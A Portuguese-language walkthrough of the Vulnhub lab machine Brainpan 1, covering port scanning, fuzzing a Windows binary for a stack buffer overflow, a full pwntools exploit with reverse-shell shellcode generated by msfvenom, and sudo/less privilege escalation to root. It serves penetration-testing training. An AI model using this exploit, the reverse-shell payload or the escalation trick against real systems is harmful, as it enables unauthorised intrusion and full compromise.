WriteUp Brainpan: 1

Da serie OSCP, esse post contempla a writeup da máquina do vulnhub de codename Brainpain 1.
Website: http://blog.techorganic.com/2013/03/20/brainpan-hacking-challenge/
Link Vulnhub: https://www.vulnhub.com/entry/brainpan-1,51/

O alvo se encontra no endereço IPv4 local 172.16.0.106

Durante a etapa de reconhecimento, através da utilização do nmap foram identificadas as portas 9999/TCP e 10000/TCP.

$ sudo nmap -sS -sV -p- -T 4 --mtu 152 -oA brain_pain_scan 172.16.0.106
Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-29 18:06 -02
Nmap scan report for 172.16.0.106
Host is up (0.0033s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.60%I=7%D=12/29%Time=5E090D2A%P=x86_64-pc-linux-gnu%r(N
SF:ULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\
SF:|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20
SF:\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\
SF:x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\
SF:x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\
SF:x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\
SF:x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:ED:88:41 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1520.30 seconds

O banner da aplicação que está operando na porta 9999/TCP não foi identificado pelo nmap, uma conexão foi realizada a nível de socket para identificar qual é a aplicação que está sendo servida na porta 9999/TCP.

Netcat na porta 9999/TCP.

Um serviço web(HTTP) foi identificado na porta 10000/TCP onde é servido pelo programa SimpleHTTPServer 0.6 (Python 2.7.3).

Durante o fingerprint da aplicação na porta 10000/TCP foi identificado que existe um diretório /bin na aplicação web.

Investigando o diretório /bin na aplicação na porta 10000/TCP foi identificado um binário de extensão exe.

Requisição web realizada com o comando curl.

O download do binário foi realizado através do programa wget para que uma investigação possa ser realizada.



$ wget http://172.16.0.102:10000/bin/brainpan.exe
--2020-01-25 21:23:12--  http://172.16.0.102:10000/bin/brainpan.exe
Connecting to 172.16.0.102:10000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21190 (21K) [application/x-msdos-program]
Saving to: ‘brainpan.exe’

brainpan.exe                  100%[==============================================>]  20,69K  --.-KB/s    in 0,005s  

2020-01-25 21:23:12 (4,30 MB/s) - ‘brainpan.exe’ saved [21190/21190]

Uma analise do binário identificou que se trata de um binário PE32 para MS Windows.


$ file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

Por se tratar de um binário MS Windows PE32, foi necessário realizar a execução através do Wine para analisar o comportamento do mesmo.

O binário inicia um serviço na porta 9999/TCP. Esse serviço é o mesmo que opera na porta 9999/TCP do alvo. Deduzindo então que esse binário é o mesmo da aplicação na porta 9999/TCP do alvo.

Um processo de fuzzing foi inciado para identificar possíveis falhas no tratamento de input que possam levar a um buffer overflow.

Para a execução da técnica de fuzzing, foi adotado o programa Cyclic. Cyclic é um programa que gera patterns e facilita identificar qual é o OFFSET de um buffer overflow, agilizando o processo de exploitation development.

cyclic 650 | nc -tvv 127.0.0.1 9999
Procedimento de fuzzing revelou uma falha que permite Buffer Overflow no binário.

Uma vez que é identificado aonde o EIP crasha e qual o valor do mesmo, no caso o EIP estava com o valor 0x66616167. O programa cyclic, qual foi utilizado para gerar o input para o programa pode identificar agora qual é o OFFSET com base no valor que estava no ponteiro.

$ cyclic -l 0x66616167
524

Então o OFFSET é 524 bytes, pode-se deduzir então o OFFSET dos outros registradores, onde:

EBP -> 520
EIP -> 524
ESP -> 528

Com isso em mente, nós podemos agora então sobreescrever a stack ESP com shellcode e redirecionar o EIP para uma função de JMP ESP. Foi identificado que existe uma instrução para JMP ESP no endereço 0x311712f3 atráves do comando objdump.

$ objdump -S brainpan.exe  | grep -i esp | grep -i jmp
311712f3:	ff e4                	jmp    *%esp

Por se tratar de um arquitetura littleendian, o valor correto para o EIP vai ser de \xf3\x12\x17\x31. Agora onde já temos o OFFSET, um endereço que irá encaminhar o EIP para ESP, onde estará nosso shellcode, basta apenas gerar um shellcode que irá abrir uma shell para o invasor.

Para gerar o shellcode foi utilizado o msfvenom com as seguintes caracteristicas:

msfvenom -a x86 --platform Linux -p linux/x86/shell_reverse_tcp -b '\x00\xff' LHOST=172.16.0.24 LPORT=1337 --smallest -f python
Shellcode gerado a partir do msfvenom.

O desenvolvimento do exploit utilizou a lib pwn para fins didáticos apenas.

#!/usr/bin/python
from pwn import *
import sys

def push(conn, payload):
 conn.send(payload)

def pull(conn):
  data=conn.recv()
  return data
# Starting
rhost=sys.argv[1]
rport=sys.argv[2]
conn = remote(rhost,rport)
print(pull(conn))
# Send the payload
buf='\x90'*520
buf+='\x90'*4 #EBP
buf+='\xf3\x12\x17\x31' #EIP 
buf+='\x90'*8 #NOP's
buf += b"\x6a\x11\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
buf += b"\xf6\xdc\xb8\x12\x83\xeb\xfc\xe2\xf4\xc7\x07\x4f\xf1"
buf += b"\xa5\x9f\xeb\x78\xf4\x55\x59\xa2\x90\x11\x38\x81\xaf"
buf += b"\x6c\x87\xdf\x76\x95\xc1\xeb\x9e\x70\xa8\x12\xee\xb4"
buf += b"\xba\x12\xf3\xe5\x31\xf3\x46\xba\xe8\x43\xa5\x6f\xbb"
buf += b"\x9b\x17\x11\x38\x40\x9e\xb2\x97\x61\x9e\xb4\x97\x3d"
buf += b"\x94\xb5\x31\xf1\xa4\x8f\x31\xf3\x46\xd7\x75\x92"

print(len(buf))
conn.send(buf)
print(pull(conn))

Com o exploit funcional, basta abrir uma conexão na máquina do ofensor na porta 1337, para isso foi utilizado o binário netcat. Com o handler na porta 1337, a execução do exploit resulta em uma conexão reversa na porta 1337/TCP, permitindo acesso para o invasor no sistema alvo com privilégios do usuário puck de id 1002.

Acesso a shell com usuário 1002, puck

Priv esc

Na etapa de escalação de privilégios, foi identificado que o programa sudo está configurado e permite que o usuário puck execute /home/anansi/bin/anansi_util sem a necessidade de inserir a sua senha.

Interagindo com o programa anansi_util foi possível identificar que ele abre um manual de um comando informado para o programa, sendo assim é possível abrir o manual com usuário administrativo. O manual é aberto com o comando less onde é possível executar comandos de dentro do less, conseguindo executar comandos com usuário root.

Abertura de manual do binário anansi_util

Porém devido à limitações da shell atual, é necessário utilizar o módulo pty do python para que seja possível atuar dentro do programa less, caso contrário não será possível executar comandos dentro do less.

Escalação de privilégios através de programa anansi_util.

Atráves do binário /home/anansi/bin/anansi_util, configuração do sudo e binário less foi possível escalar privilégios e obter acesso root id 0 na box BrainPain 1.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.